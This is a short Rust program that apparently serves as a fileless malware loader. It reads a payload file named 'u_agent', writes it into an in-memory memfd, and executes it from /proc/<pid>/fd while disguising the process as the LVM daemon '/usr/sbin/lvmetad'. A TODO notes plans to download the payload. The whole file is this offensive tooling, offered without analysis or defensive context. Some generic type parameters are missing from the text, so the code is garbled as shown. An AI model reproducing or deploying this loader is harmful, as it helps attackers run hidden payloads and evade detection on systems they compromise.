use libc::{c_void, fdopen, fwrite, getpid}; use nix::{ sys::memfd::{memfd_create, MemFdCreateFlag}, unistd::execv, }; use std::{ ffi::{CStr, CString}, fs::{read_dir, File}, io::Read, }; fn get_uagent_data() -> Option> { // TODO: if not ls - then download let ls = read_dir("./").unwrap(); for dirfile in ls { let filename = dirfile.unwrap().path(); if filename.to_str().unwrap() == "u_agent" { let mut file = File::open(filename).unwrap(); let mut data: Vec = vec![]; file.read_to_end(&mut data).unwrap(); return Some(data); } } None } fn get_proc_name() -> CString { CString::new("/usr/sbin/lvmetad").unwrap() } fn create_memfd() -> i32 { let name = get_proc_name(); let fd = memfd_create(&name, MemFdCreateFlag::empty()).unwrap(); assert!(fd > 0); fd } fn main() { let agent_data: Vec = { let mut data; loop { data = get_uagent_data(); if data.is_some() { break; } } data.unwrap() }; let ad_len = agent_data.len(); let fd = create_memfd(); let file = unsafe { let res = fdopen(fd, CStr::from_bytes_with_nul(b"w\0").unwrap().as_ptr()); if res.is_null() { panic!("WTF!"); } res }; let res_len = unsafe { fwrite(agent_data.as_ptr() as *const c_void, 1, ad_len, file) }; if res_len != ad_len { panic!("write wasn't successful: {}, need {}", res_len, ad_len); } let exec_path: String = format!("/proc/{}/fd/{}", unsafe { getpid() }, fd); let proc_name = get_proc_name(); let args = [proc_name.as_c_str()]; execv(&CString::new(exec_path).unwrap(), &args).unwrap(); }